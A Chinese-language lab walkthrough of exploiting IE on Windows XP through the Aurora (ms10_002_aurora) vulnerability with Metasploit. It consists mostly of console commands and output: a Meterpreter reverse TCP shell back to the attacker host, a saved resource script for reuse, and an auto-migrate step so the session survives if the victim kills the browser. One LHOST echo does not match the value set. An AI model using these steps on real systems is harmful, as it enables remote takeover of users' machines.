Metasploit 对 IE 浏览器的极光漏洞进行渗透利用

极光漏洞实际上是利用了堆喷射技术。下面我们来演示渗透过程。

1、查看 win xp 系统状态

目前的cpu和内存消耗极低。

2、在kali linux下利用 metasploit 渗透。

msf > use windows/browser/ms10_002_aurora
msf  exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms10_002_aurora) > show options

Module options (exploit/windows/browser/ms10_002_aurora):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf  exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf  exploit(ms10_002_aurora) > set LHOST 192.168.71.105
LHOST => 192.168.1.11
msf  exploit(ms10_002_aurora) > set LPORT 443
LPORT => 443
msf  exploit(ms10_002_aurora) > exploit -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.71.105:443 
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.71.105:80/
[*] Server started.
msf  exploit(ms10_002_aurora) >

3、xp上打开 ie 浏览器访问 192.168.71.105

msf  exploit(ms10_002_aurora) > [*] 192.168.71.112    ms10_002_aurora - Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.71.112
[*] Meterpreter session 2 opened (192.168.71.105:443 -> 192.168.71.112:2403) at 2016-03-02 14:44:27 +0800

同时负载很重。

4、整理渗透过程为资源文件。

root@localhost:~# cat aurora.rc 
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set srvport 80
set uripath /
set lhost 192.168.71.105
set lport 443
exploit -z

方便今后使用。

注意，如果 xp 用户发现系统负载重、ie 浏览器僵死，会启动任务管理器关闭 cpu 占用最大的进程，这会导致渗透的会话关闭，我们可以利用 migrate 渗透到其它进程。下面是使用高级选项渗透成功后自动 migrate 到其它进程。

msf exploit(ms10_002_aurora) > show advanced 

Module advanced options:

   Name           : ContextInformationFile
   Current Setting: 
   Description    : The information file that contains context information

   Name           : DisablePayloadHandler
   Current Setting: false
   Description    : Disable the handler code for the selected payload

   Name           : EnableContextEncoding
   Current Setting: false
   Description    : Use transient context when encoding payloads

   Name           : ListenerComm
   Current Setting: 
   Description    : The specific communication channel to use for this service

   Name           : SSLCompression
   Current Setting: false
   Description    : Enable SSL/TLS-level compression

   Name           : URIHOST
   Current Setting: 
   Description    : Host to use in URI (useful for tunnels)

   Name           : URIPORT
   Current Setting: 
   Description    : Port to use in URI (useful for tunnels)

   Name           : VERBOSE
   Current Setting: false
   Description    : Enable detailed status messages

   Name           : WORKSPACE
   Current Setting: 
   Description    : Specify the workspace for this module



Payload advanced options (windows/meterpreter/reverse_tcp):

   Name           : AutoLoadStdapi
   Current Setting: true
   Description    : Automatically load the Stdapi extension

   Name           : AutoRunScript
   Current Setting: 
   Description    : A script to run automatically on session creation.

   Name           : AutoSystemInfo
   Current Setting: true
   Description    : Automatically capture system information on initialization.

   Name           : AutoVerifySession
   Current Setting: true
   Description    : Automatically verify and drop invalid sessions

   Name           : AutoVerifySessionTimeout
   Current Setting: 30
   Description    : Timeout period to wait for session validation to occur, in 
      seconds

   Name           : EnableStageEncoding
   Current Setting: false
   Description    : Encode the second stage payload

   Name           : EnableUnicodeEncoding
   Current Setting: false
   Description    : Automatically encode UTF-8 strings as hexadecimal

   Name           : HandlerSSLCert
   Current Setting: 
   Description    : Path to a SSL certificate in unified PEM format, ignored for 
      HTTP transports

   Name           : InitialAutoRunScript
   Current Setting: 
   Description    : An initial script to run on session creation (before 
      AutoRunScript)

   Name           : PayloadUUIDName
   Current Setting: 
   Description    : A human-friendly name to reference this unique payload (requires 
      tracking)

   Name           : PayloadUUIDRaw
   Current Setting: 
   Description    : A hex string representing the raw 8-byte PUID value for the UUID

   Name           : PayloadUUIDSeed
   Current Setting: 
   Description    : A string to use when generating the payload UUID (deterministic)

   Name           : PayloadUUIDTracking
   Current Setting: false
   Description    : Whether or not to automatically register generated UUIDs

   Name           : PrependMigrate
   Current Setting: false
   Description    : Spawns and runs shellcode in new process

   Name           : PrependMigrateProc
   Current Setting: 
   Description    : Process to spawn and run shellcode in

   Name           : ReverseAllowProxy
   Current Setting: false
   Description    : Allow reverse tcp even with Proxies specified. Connect back will 
      NOT go through proxy but directly to LHOST

   Name           : ReverseConnectRetries
   Current Setting: 5
   Description    : The number of connection attempts to try before exiting the 
      process

   Name           : ReverseListenerBindAddress
   Current Setting: 
   Description    : The specific IP address to bind to on the local system

   Name           : ReverseListenerBindPort
   Current Setting: 
   Description    : The port to bind to on the local system if different from LPORT

   Name           : ReverseListenerComm
   Current Setting: 
   Description    : The specific communication channel to use for this listener

   Name           : ReverseListenerThreaded
   Current Setting: false
   Description    : Handle every connection in a new thread (experimental)

   Name           : SessionCommunicationTimeout
   Current Setting: 300
   Description    : The number of seconds of no activity before this session should 
      be killed

   Name           : SessionExpirationTimeout
   Current Setting: 604800
   Description    : The number of seconds before this session should be forcibly 
      shut down

   Name           : SessionRetryTotal
   Current Setting: 3600
   Description    : Number of seconds try reconnecting for on network failure

   Name           : SessionRetryWait
   Current Setting: 10
   Description    : Number of seconds to wait between reconnect attempts

   Name           : StageEncoder
   Current Setting: 
   Description    : Encoder to use if EnableStageEncoding is set

   Name           : StageEncoderSaveRegisters
   Current Setting: 
   Description    : Additional registers to preserve in the staged payload if 
      EnableStageEncoding is set

   Name           : StageEncodingFallback
   Current Setting: true
   Description    : Fallback to no encoding if the selected StageEncoder is not 
      compatible

   Name           : VERBOSE
   Current Setting: false
   Description    : Enable detailed status messages

   Name           : WORKSPACE
   Current Setting: 
   Description    : Specify the workspace for this module


msf exploit(ms10_002_aurora) > set AutoRunScript migrate -f
AutoRunScript => migrate -f
msf exploit(ms10_002_aurora) >